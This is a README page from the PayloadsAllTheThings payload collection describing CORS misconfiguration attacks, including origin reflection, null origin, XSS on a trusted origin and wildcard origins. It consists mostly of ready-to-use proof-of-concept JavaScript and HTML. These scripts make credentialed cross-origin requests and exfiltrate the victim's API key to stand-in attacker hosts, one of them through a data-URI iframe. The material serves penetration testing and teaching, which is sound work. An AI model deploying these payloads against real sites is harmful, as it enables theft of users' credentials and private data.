PayloadsAllTheThings/CORS Misconfiguration
2020-04-12 15:12:34 +02:00
..
README.md Added PortSwigger Web Security Academy CORS Link 2020-04-12 15:12:34 +02:00

CORS Misconfiguration

A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attackers site using the victims credentials.

Summary

Prerequisites

  • BURP HEADER> Origin: https://evil.com
  • VICTIM HEADER> Access-Control-Allow-Credential: true
  • VICTIM HEADER> Access-Control-Allow-Origin: https://evil.com OR Access-Control-Allow-Origin: null

Exploitation

Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target https://victim.example.com/endpoint.

Vulnerable Example: Origin Reflection

Vulnerable Implementation

GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true 

{"[private API key]"}

Proof of concept

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://victim.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};

or

<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">Exploit</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://victim.example.com/endpoint", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>

Vulnerable Example: Null Origin

Vulnerable Implementation

It's possible that the server does not reflect the complete Origin header but that the null origin is allowed. This would look like this in the server's response:

GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: null
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true 

{"[private API key]"}

Proof of concept

This can be exploited by putting the attack code into an iframe using the data URI scheme. If the data URI scheme is used, the browser will use the null origin in the request:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
  var req = new XMLHttpRequest ();
  req.onload = reqListener;
  req.open('get','https://victim.example.com/endpoint',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
    location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
   };
</script>"></iframe> 

Vulnerable Example: XSS on Trusted Origin

If the application does implement a strict whitelist of allowed origins, the exploit codes from above do not work. But if you have an XSS on a trusted origin, you can inject the exploit coded from above in order to exploit CORS again.

https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>

Vulnerable Example: Wildcard Origin * without Credentials

If the server responds with a wildcard origin *, the browser does never send the cookies. Howver, if the server does not require authentication, it's still possible to access the data on the server. This can happen on internal servers that are not accessible from the Internet. The attacker's website can then pivot into the internal network and access the server's data withotu authentication.

Vulnerable Implementation

GET /endpoint HTTP/1.1
Host: api.internal.example.com
Origin: https://evil.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

{"[private API key]"}

Proof of concept

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://api.internal.example.com/endpoint',true); 
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};

Bug Bounty reports

References